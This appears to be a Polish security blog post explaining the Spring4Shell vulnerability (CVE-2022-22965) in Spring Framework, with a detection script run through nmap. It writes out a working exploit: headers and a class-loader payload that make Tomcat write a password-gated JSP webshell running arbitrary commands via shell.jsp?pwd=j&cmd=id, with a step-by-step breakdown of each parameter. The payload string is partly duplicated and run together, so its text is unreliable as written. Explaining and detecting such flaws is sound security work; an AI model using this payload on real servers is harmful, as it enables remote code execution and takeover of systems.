Spring Framework jest frameworkiem służący do budowania aplikacji w Javie. Do jego głównych komponentów należy Spring Core, który jest jedną z fundamentalnych części frameworka. Niedawno odnaleziona podatność nazwana Spring4Shell wykorzystuje błąd w tej części do wykonania dowolnego kodu na serwerze.
Przy użyciu pewnych ciągów konfiguracyjnych możliwe jest wysłanie przez atakującego spreperowanych żądań HTTP w celu wykorzystania luki. Jak to się dzieje? Przeanalizujmy złośliwe żądanie krok po kroku.
Exploitacja
Błąd jest relatywnie prosty w wykorzystaniu. Pierwszym etapem jest przygotowanie payloada wraz z nagłówkami, które wykorzystamy w naszym żądaniu.
local headers = {
["prefix"] = "<%",
["suffix"] = "%>//",
["c"] = "Runtime",
["c1"] = "Runtime",
["c2"] = "Runtime",
["content-type"] = "application/x-www-form-urlencoded"
}
local payload = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i. getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix="shell"&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
Mając przygotowane nagłówki wraz z payloadem, możemy przejść do jego omawiania.
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i. getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
– wzorzec składa się z układu formatowania określającego różne pola, które mają zostać pobrane z żądania i zarejestrowane w odpowiedzi. Tutaj widać, jak nagłówkic2
,c1
isuffix
są pobierane z nagłówków. Podstawianie odbywa się na podstawie przychodzących nagłówków w formacie%{header}i
.class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
– przyrostek, który należy dodać na końcu nazwy każdego pliku dziennika. Rozszerzenie pliku, który zostanie zapisany to.jsp
,class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
– absolutna lub względna ścieżka katalogu, w którym zostanie utworzony plik. W tym przypadku wybranowebapps/ROOT
, ponieważ jest to ścieżka, która znajduje się w domyślnej instalacji Tomcata,class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
– ciąg znaków, który jest dodawany na początku każdego pliku dziennika, który zostanie utworzony. W tym przypadku jest toshell
,class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
– polefileDateFormat
pozwala na dodanie niestandardowego znacznika czasu w nazwie pliku dziennika. Pozostawiamy to pole puste, ponieważ nie chcemy żadnych innych rozszerzeń w JSP webshell, a ustawiamy je jako puste, ponieważ nie chcemy domyślnego formatu znacznika czasu.
Porzez obsłużenie tego żądania, serwer tworzy w katalogu serwera plik o nazwie shell.jsp
. Wykorzystując załadowaną powłokę JSP na serwerze, atakujący może zdalnie wykonywać polecenia poprzez adres https://victim:8080/shell.jsp?pwd=j&cmd=id
. W tym przypadku poleceniem, które zostanie wykonane jest id
.
Warunki istnienia luki
Tutaj sprawa nieco się komplikuje. Wstępne analizy wykryły, że do istnienia podatności musi zostać spełnionych kilka warunków. Należy do nich:
JDK
w wersji 9+,- Wykorzystywane
Apache Tomcat
do obsługi aplikacji, Spring Framework
w wersji od 5.3.0 do 5.3.17 oraz 5.2.0 do 5.2.19 i niższych,- Aplikacja zbudowana jako plik
WAT
zamiastJAR
, - Wykorzystywany
spring-webmvc
lubspring-webflux
jako dependency.
Należy jednak nie brać wymagań jako pewników. Ponieważ podatność została wykryta relatywnie niedawno, może okazać się, że może ona wykorzystywać jeszcze inne zależności.
Jak wykryć podatność Spring4Shell?
Sposobów jest kilka. Jednym z nich jest uruchomienie skryptu nse udostępnionego przez nas w repozytorium github. Uruchomienie odbywa się za pośrednictwem narzędzia nmap.
┌──(kali㉿kali)-[~/nmap-spring4shell]
└─$ nmap 127.0.0.1 --script=./spring4shell.nse
(...)
PORT STATE SERVICE REASON VERSION
8080/tcp open http-proxy syn-ack
| spring4shell:
| VULNERABLE:
| Spring4Shell - Spring Framework RCE via Data Binding on JDK 9+
| State: VULNERABLE
| IDs: CVE:CVE-2022-22965
| Check results:
| 127.0.0.1:8080/shell.jsp?pwd=j&cmd=id
| Extra information:
| TESTED URL: 127.0.0.1:8080
| COMMAND: id
| ASSERTION: uid
| References:
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
Źródła
https://github.com/gpiechnik2/nmap-spring4shell
https://bugspace.pl/skanowanie-portow-i-znajdywanie-luk-sieciowych-z-uzyciem-narzedzia-nmap/
https://sysdig.com/blog/cve-2022-22965-spring-core-spring4shell/
https://securelist.com/spring4shell-cve-2022-22965/106239/